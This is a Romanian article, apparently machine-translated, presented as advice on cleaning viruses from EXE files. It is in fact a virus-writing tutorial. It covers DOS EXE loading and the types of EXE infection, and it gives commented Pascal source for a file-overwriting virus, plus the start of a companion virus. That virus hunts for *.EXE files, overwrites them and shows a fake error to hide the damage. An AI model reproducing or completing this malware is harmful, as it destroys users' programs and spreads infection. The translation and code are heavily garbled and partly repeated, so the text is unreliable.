Cum să ștergeți fișierul exe de la viruși. Ce sunt metodele Ex-Virus de combatere a acestora

Acest articol vorbește despre virușiinfectarea EXE FIES.. O clasificare este dată virușiAlgoritmii de lucru sunt considerați în detaliu, diferențele dintre ele de demnitate și dezavantaje.

Viruși - Aceasta este o gimnastică bună pentru minte, deși mulți oameni cred că scrierea virus Limba de nivel înalt este foarte dificilă. Acest lucru nu este așa. Scrierea în limba Pascal este destul de ușoară, deși valoarea codului rezultat determină o emoție reverentă.

Pentru fiecare tip. viruși Sunt prezentate texte sursă cu comentarii detaliate. De asemenea, sunt prezentate informațiile de bază despre structura și principiile muncii. Ex-program.

Fișierele SOM. (Programe mici scrise în principal în asamblare) încet, dar corect furate. Ei vin să se schimbe înfricoșătoare cu dimensiunea lor EXE-"Monștri". Există viruși care știu cum să infecteze EXE FIES..

Structura și procesul de încărcare ex-program

Spre deosebire de Som-program., Ex-program Poate consta din mai multe segmente (coduri, date, stivă). Ei pot ocupa mai mult de 64kb. Ex-dosar. Are un antet care este utilizat la încărcare. Rubrica constă dintr-o parte formatată care conține semnătura și datele necesare pentru descărcare Exe-dosar., și mese pentru configurarea adreselor ( Tabelul de relocare). Tabelul constă din valori în segmentul de format: offset. Pentru offsets în modulul de boot, care indică valorile din tabel, după încărcarea programului, adresa segmentului din care este descărcată programul în memorie trebuie adăugată în memorie.

Când începeți Ex-program Încărcător de sistem. (Apelarea funcției DOS 4BH) Următorii pași:

1. Este determinată adresa de segment a zonei libere de memorie, dimensiune

care este suficient pentru a plasa programul.

2. Blocul de memorie pentru variabilele de mediu este stabilit și umplut.

3. Există o unitate de memorie pentru PSP și program (segmentare - PSP;

segment + Oyuuooo-program).

Valorile corespunzătoare sunt introduse în câmpurile PSP.

4. Apăsați DTA este setat la PSP: 0080h.

5. Spațiul de lucru al încărcătorului de lucru este citit formatat

antet Exe-dosar..

6. Se adaugă lungimea modulului de încărcare cu formula:

Si7.e \u003d ((Pagecnt * 5i2) - (HDrsae * i6)) - PA! TP3IG.

7. Deplasarea modulului de pornire în fișier egal cu

8. Adresa segmentului (START_SEG) este adăugată pentru a descărca - este un PSP + Loh.

9. Modulul de pornire (începând cu adresa

START_SEG: 0000).

10. Pentru fiecare intrare de tabel de setare:

a) Citiți cuvintele i_off și i_seg;

b) se calculează Relc ^ seg-pornire ^ Seg + LSEG;

c) cuvântul este citit la relo_seg: i_off;

d) Start_seg este adăugat la citire:

e) Rezultatul este amintit de-a lungul aceleiași adrese (RELO_SEG: I_OFF).

11. Memoria programului este distribuită în conformitate cu Makhmet

12. Registrele sunt inițializate, programul se efectuează:

b) ah \u003d rezultatul verificării corectitudinii identificatorilor șoferului specificat pe linia de comandă;

c) SS ° Start_seg + Reloss, SP-exesp;

d) cs \u003d start_seg + relocuri, ip \u003d exeip.

Clasificarea virușilor exe

Ex-virus. Condițional poate fi împărțit în grupuri folosind caracteristica algoritmului ca o trăsătură. VirușiSuprascrie.) viruși A devenit deja o raritate. Principalul dezavantaj este prea nepoliticos. Programele infectate nu sunt executate deoarece virus Este scris pe partea de sus a codului programului fără a fi salvarea acesteia. Când începeți virus Căutați un alt sacrificiu (sau victimă), deschide un fișier găsit pentru a edita și înregistrează corpul la începutul programului, fără a salva codul original. Infectate cu acestea viruși Programele non-tratament nu sunt supuse.

Virusuri prin satelit (Companion)

Aceste viruși A primit numele lor din cauza algoritmului de reproducere:

un fișier satelit este creat în fiecare fișier infectat. Luați în considerare două tipuri de viruși din acest grup în detaliu:

Viruși primul tip. înmulțită după cum urmează. Pentru fiecare infectat Exe-dosar. Același director creează un fișier de cod viral care are același nume ca și cum Ex-dosar.Dar cu expansiune Som.. Virus Acesta este activat dacă numai numele fișierului executabil este specificat la promptul de comandă. Faptul este că, dacă extensia fișierului nu este specificată, Dos. Mai întâi urmărește un fișier cu numele și expansiunea specificată în directorul curent. Som.. În cazul în care un Som-dosar. Cu acest nume nu a fost găsit, căutarea cu același nume este căutată. Exe-dosar.. Dacă nu este găsit și Ex-dosar., DOS va încerca să detecteze Wat. (batch). În absența unui fișier executabil din directorul curent cu nume specificat. Căutarea se desfășoară în toate directoarele disponibile de variabilă. Cale.. Cu alte cuvinte, când utilizatorul dorește să ruleze programul și să formeze numai numele ei pe promptul de comandă (Practic, astfel încât totul se face), primul control devine virusal cărui cod este în Som-dosar.. El creeaza Som-dosar. altul sau mai multe Ex-fișiere.(se aplică) și apoi execută Ex-dosar. cu numele specificat pe linia de comandă. Utilizatorul crede că rulează doar Ex-program.

Virus satelit neutralizează destul de tocmai - ștergeți doar

Som dosar.

Viruși Al doilea tip acționează mai subtil. Nume infectate

Exe-dosar. rămâne aceeași, iar extensia este înlocuită cu orice

altul diferit de executabil ( Som, exe și wat), De exemplu,

fișierul poate obține o extensie Dat. (fișier de date) sau Ovl. (pro-

gram suprapunere). Apoi în loc Exe-dosar. Copie virale Codul. Când începeți un astfel de program infectat, gestionarea devine virale Codul situat în Fișier exe.. Infectarea altui sau mai mult EXE FIES. in acelasi fel virus Se intoarce fișier original. extensie executabilă (dar nu e Heh, și som, în măsura în care Ex-dosar. Cu acest nume este angajat în virus), după care o interpretează. Când se completează funcționarea programului infectat, extensia este returnată fișierului declanșat. Tratamentul fișierelor.infectat cu un virus de acest tip poate fi dificil dacă virus- Criptarea adecvată a unei părți sau întregul corp al fișierului infectat și înainte de execuție decodifică.

VirușiImplementat în program (parazit) Viruși Acest tip este cel mai invizibil: codul lor este înregistrat în programul infectat, care este esențial tratament cuprinzător fișiere infectate. Luați în considerare metodele de implementare Exe Virusuri în fisier.

Modalități de infectare a fișierelor exe

Cel mai comun mod de infectare EXE FIES. Astfel: corpul este terminat la sfârșitul fișierului. virusiar titlul este ajustat (cu originalul), astfel încât atunci când porniți un fișier infectat, controlul primit virus. Arata ca infectarea Fișierele SOM.Dar, în loc de o sarcină în codul de tranziție la începutul virusului, adresa de pornire a programului este ajustată. După sfârșitul lucrării, virusul scoate din antetul stocat adresa originală a pornirii programului, adaugă la componenta sa segmentată valoarea registrului DS sau ES (obținut la pornirea virusului) și transferurile controlate la adresa primită .

Următoarea metodă - Implementarea virusului la începutul fișierului de schimbare a codului

programe. Mecanismul infecției este acesta: corpul programul infectat Citiți în memorie, este scrisă în locul ei codul viral, și după aceasta - codul programe infectates. Astfel, codul programului pare a fi "schimbat" în fișier pentru lungimea codului de virus. Prin urmare, numele metodei - "Metoda Shift". Când începeți un fișier infectat virus Infectează alte sau mai multe fișiere. După aceasta, acesta citește în memorie codul programului, scrie într-un fișier temporar creat în mod specific pe disc cu extensia fișierului executabil ( Som sau ehe.), apoi execută acest fișier. Când programul a terminat munca, fișierul temporar este șters. Dacă tehnicile de protecție suplimentare nu au fost utilizate la crearea unui virus, este foarte ușor să vindecați un fișier infectat - Doar ștergeți codul de virus la începutul fișierului, iar programul va fi din nou operațional. Dezavantajul acestei metode este că întregul cod al programului infectat trebuie citit în memorie (deoarece există mai mult de 1 MB de instanțe).

Următorul mod de a infecta fișierele - Metoda de transfer - aparent, este cea mai perfectă dintre toate enumerate. Virus Multiplică după cum urmează: Când începeți un program infectat cu corpul virus Este citită de la ea. Apoi se găsește căutarea unui program neinfectat. Începutul este citit în memorie, lungimea corpului egal Virus. Corpul este scris în acest loc. virus. Programele din terminarea memoriei la sfârșitul fișierului. Prin urmare, numele metodei este "metoda de transfer". După virus Infectați unul sau mai multe fișiere, începe să execute programul de la care a început. Pentru a face acest lucru, citește începutul programului infectat salvat la sfârșitul fișierului și îl înregistrează la începutul fișierului, restabilind performanța programului. Atunci virus Șterge codul de pornire a programului de la sfârșitul fișierului, restabilind lungimea originală a fișierului și execută programul. După finalizarea programului, virusul reiterează codul la începutul fișierului, iar începutul original al programului este până la capăt. Această metodă poate fi chiar infectată antivirus.care verifică codul pentru integritate, deoarece lansarea lansată virus Programul are exact același cod ca înainte de infecție.

VirușiÎnlocuirea codului software ( Suprascrie. ) După cum sa menționat deja, această specie virușia fost mult timp mort. Ocazional apar mai mult virușilimbă Asamblare., dar este mai degrabă o competiție în scrisul cel mai mic suprascrie virusul. În prezent, cea mai mică dintre celebrul suprascrie virușii scris Memento (grupul de echipaj al morții virui) și ia 22 de octeți.

Suprascrie algoritmul de lucru virus următor:

1. Deschideți fișierul din care virusul a primit controlul.

3. Închideți fișierul.

4. Căutați după masca potrivită pentru infecție.

5. Dacă fișierele nu se găsesc nu mai sunt găsite, mergeți la pasul 11.

6. Deschideți fișierul găsit.

7. Verificați dacă fișierul găsit a fost infectat cu acest virus.

8. Dacă fișierul este infectat, mergeți la clauza 10.

9. Înregistrați codul de virus la început.

10. Închideți fișierul (opțional puteți infecta de la unul la all

pescuit în catalog sau pe disc).

11. Orice mesaj de eroare, cum ar fi "terminarea programului anormal" sau "nu este suficientă memorie", - Lăsați utilizatorul să nu fie prea surprins de faptul că programul nu a început.

12. Completați programul.

Mai jos este înregistrarea programului care infectează fișierele în acest fel.

($ M 2048, 0, 0)

(DOS și modulele de sistem sunt utilizate (modulul de sistem se conectează automat la fiecare program de compilare))

(Nume de virus)

VIRNAME \u003d "durere";

(Rând pentru a verifica reinfecția.

Se adaugă la fișierul infectat imediat după cod virus}

Virlabel: String \u003d 'Durere! 1;

(Lungimea compilării Exe-dosar.}

Autor \u003d 'murdar nazi / sgww.';

(Numărul de fișiere infectate într-o singură sesiune)

(Matrice pentru a determina prezența unei copii virus În fișierul găsit)

VIRLDENTIFIER: Gama de caractere;

(Variabila fișierului pentru lucrul cu fișierele)

(O altă variabilă de fișier - Deși fără ea a fost posibilă să faceți, va fi mai clară)

(Pentru numele fișierului găsit)

TARGETFILE: PATHSTR;

(Tampon de corp. Virus)

Virbuf: Array [-i.virlen] de caractere;

(Pentru datele / fișierul de timp)

(Numărarea numărului de fișiere infectate)

Dirlnfo: căutare;

LabelBuf: Gama de caractere;

(Inițializare)

LabelBuf: \u003d Virlabel;

LabelBuf: \u003d Virlabel;

LabelBuf: \u003d Virlabel,

LabelBuf: \u003d Virlabel;

LabelBuf: \u003d Virlabel;

(Resetați numărul de numere fișiere infectate}

(Asociem dosarul Variable Virby cu numele programului din care a început)

Atribuiți (VIBI, PARAMSTR (O));

(Deschideți fișierul cu recid \u003d 1 octet)

Resetați (VI VIBI, 1);

(Citiți corpul din fișier Virus Într-o zonă de virbuf)

Blocat (Virbody Virbuf, Virlen);

(Închideți fișierul)

(Căutați victimă)

procedură Findtarget;

(Funcția returnează TRUE dacă programul găsit este deja infectat și fals, dacă nu încă)

funcția virusPrementați: boolean;

Viruspresent: \u003d fals;

(Deschideți fișierul găsit)

Atribuirea (țintă, țintă);

Resetare (țintă, 1);

(Deplasați-vă pentru lungimea corpului virus De la începutul fișierului)

Căutați (țintă, virlen);

(Citiți 5 octeți - Dacă fișierul este deja infectat, există o etichetă virus}

Blocat (țintă, virdiantifier, 5);

Dacă Virldentifier \u003d Virrd_abel ThatN

(Dacă există o etichetă, atunci există și virus}

Viruspresent: \u003d adevărat;

(Procedura de infectare)

procedură infectată;

(Dacă dimensiunea fișierului găsit este mai mică decât lungimea virusului plus 100 octeți, apoi părăsim procedura)

Dacă sr.Size< VirLen+100 Then Exit;

Dacă programul găsit nu este încă infectat, infectarea acestuia)

Dacă nu viruspresent atunci

(Vom aminti data și ora fișierului. Nu vă amintiți atributele, deoarece căutarea este efectuată printre fișierele cu atributul de arhivă, iar acest atribut este instalat în fișier după salvare)

(Deschis la infecție)

Atribuirea (țintă, țintă);

Resetare (țintă, 1);

(Scrierea corpului virus la începutul fișierului)

Blocare (țintă, virbuf, virlen);

(Deplasați indicatorul poziției curente și lungimea virus De la începutul fișierului)

Căutați (țintă, virlen);

(Introduceți marcajul infecției)

Blocare (țintă, lablubuf, 5);

(Instalați data și ora fișierului)

Setftime (țintă, timp);

(Închide)

(Creșteți contorul fișiere infectate}

(Începutul procedurii Findtarget)

(Căutăm un fișier de mască în directorul curent * .EXE

cu atribute Arhiva.}

Findfirstf.exe ', Arhiva, SR);

(În timp ce există fișiere pentru infecție)

În timp ce doserror \u003d 0 do

Dacă sr.name \u003d "apoi ieșiți;

(Amintiți-vă numele fișierului găsit în variabila țintă)

ȚintăFile: \u003d sr.name;

(Apelați procedura de infecție)

(Dacă fișierele Infcount sunt infectate, completați căutarea)

Dacă infulosi\u003e Infcounte ieșirea;

(Căutăm următorul fișier de mască)

(Corpul principal)

(Inițializați)

(Cautam victime si infecta)

(Emitem un mesaj de eroare pe ecran)

Scrie (terminarea programului anormal ");

(Acesta este faptul că compilatorul se inserează în codul constant al Virimei și Autor, starea este setată astfel încât aceste linii să nu fie afișate niciodată)

Writeln (VIRNAME);

Scrie (autor);

Virusuri prin satelit (Companion)

Virusuri prin satelit Acum răspândită - raportul dintre companion și parazit viruși Aproximativ una la două. Crearea unei metode Som dosar. Semnificația satelitului acestei metode nu este atingerea unei "pisici străine" ( Ex-program), creați "dvs." - Som-dosar. Cu numele. Ex-program. Algoritmul de lucru al acestui lucru virus Este extrem de simplu, deoarece dispare necesitatea unor acțiuni inutile (de exemplu, conservarea în corpul virusului lungimii compilatei Exe-dosar. din codul viral, citiți în tampon de corp VirusFișier de pornire din care virus controlul primit). Nu este nevoie să stocați chiar eticheta pentru a determina infecția fișierului.

Infecția este făcută utilizând procesorul de comandă:

1. Dacă parametrii sunt specificați pe promptul de comandă, salvați-le la tipul variabil Șir pentru a transmite un program infectat.

2. Night. Ex-dosar.-Erttel.

3. Verificați dacă nu este prezent în catalog cu Exe-dosar. Som-dosar. Cu același nume ca și dosarul victimei.

4.În acest caz Som-dosar. este prezent, fișierul este deja infectat, mergeți

la clauza 6.

5. Cu ajutorul procesorului de comandă pentru a copia fișierul din care

managementul primit, la un fișier numit victimă și expansiune Som..

6.Proturn. EZEZ. Descărcați și executați un fișier cu numele de început, dar cu extensia exe - adică să efectueze un program infectat.

7. Returnați controlul la DOS.

Lista de mai jos prezintă infecția fișierului prin aceasta.

($ M 2048, 0, 0)

(Modulele DOS și modul de sistem (Modul automat de sistem

se conectează la fiecare program atunci când compilați))

(Nume de virus)

VIRNAME \u003d 'GUESF;

Autor \u003d 'murdar nazi / sgww. Numai 4 pvt! ';

(Număr infectat Pentru o sesiune de fișiere)

(Pentru numele fișierului găsit)

TARGETFILE: PATHSTR;

Metode de infectare a fișierelor exe

Cea mai obișnuită modalitate de a infecta fișierele exe este astfel: corpul virusului este adăugat la sfârșitul fișierului, iar titlul este ajustat (cu originalul), astfel încât atunci când porniți un fișier infectat, comanda a primit un virus. Se pare că contaminarea fișierelor COM, dar în loc de o sarcină în codul de tranziție la începutul virusului, adresa de pornire a programului este ajustată. După sfârșitul lucrării, virusul scoate din antetul stocat adresa originală a pornirii programului, adaugă la componenta sa segmentată valoarea registrului DS sau ES (obținut la pornirea virusului) și transferurile controlate la adresa primită .

Următoarea metodă este introducerea unui virus la începutul fișierului cu trecerea codului programului. Mecanismul de infecție este acesta: corpul programului infectat este citit în memorie, codul viral este scris în locul său, iar după acesta este codul programului infectat. Astfel, codul programului pare a fi "schimbat" în fișier pentru lungimea codului de virus. Prin urmare, numele metodei - "Metoda Shift". Când porniți un fișier infectat, virusul infectează alte sau mai multe fișiere. După aceasta, acesta citește în memorie codul programului, scrie într-un fișier temporar creat în mod specific pe disc cu extensia fișierului executabil (com sau exe) și apoi execută acest fișier. Când programul a terminat munca, fișierul temporar este șters. Dacă tehnicile de protecție suplimentare nu au fost utilizate la crearea unui virus, este foarte ușor să vindecați un fișier infectat - Doar ștergeți codul de virus la începutul fișierului, iar programul va fi din nou operațional. Dezavantajul acestei metode este că întregul cod al programului infectat trebuie citit în memorie (deoarece există mai mult de 1 MB de instanțe).

Următoarea modalitate de a infecta fișierele - metoda de transfer - aparent, este cea mai perfectă dintre toate enumerate. Virusul se înmulțește după cum urmează: Când este pornit programul infectat, corpul de virus este citit din memorie. Apoi se găsește căutarea unui program neinfectat. În memorie, începerea sa este citită, lungimea virusului este egală. Corpul de virus este scris în acest loc. Începutul programului din memorie se adaugă la sfârșitul fișierului. Prin urmare, numele metodei este "metoda de transfer". După ce virusul infectat unul sau mai multe fișiere, începe să execute programul de la care a început. Pentru a face acest lucru, citește începutul programului infectat salvat la sfârșitul fișierului și îl înregistrează la începutul fișierului, restabilind performanța programului. Apoi, virusul șterge codul de pornire a codului de la sfârșitul fișierului, restabilind lungimea originală a fișierului și execută programul. După finalizarea programului, virusul reiterează codul la începutul fișierului, iar începutul original al programului este până la capăt. Chiar și antivirusurile care verifică codul de integritate pot fi infectați cu această metodă, deoarece programul lansat de virus are exact același cod ca înainte de infecție.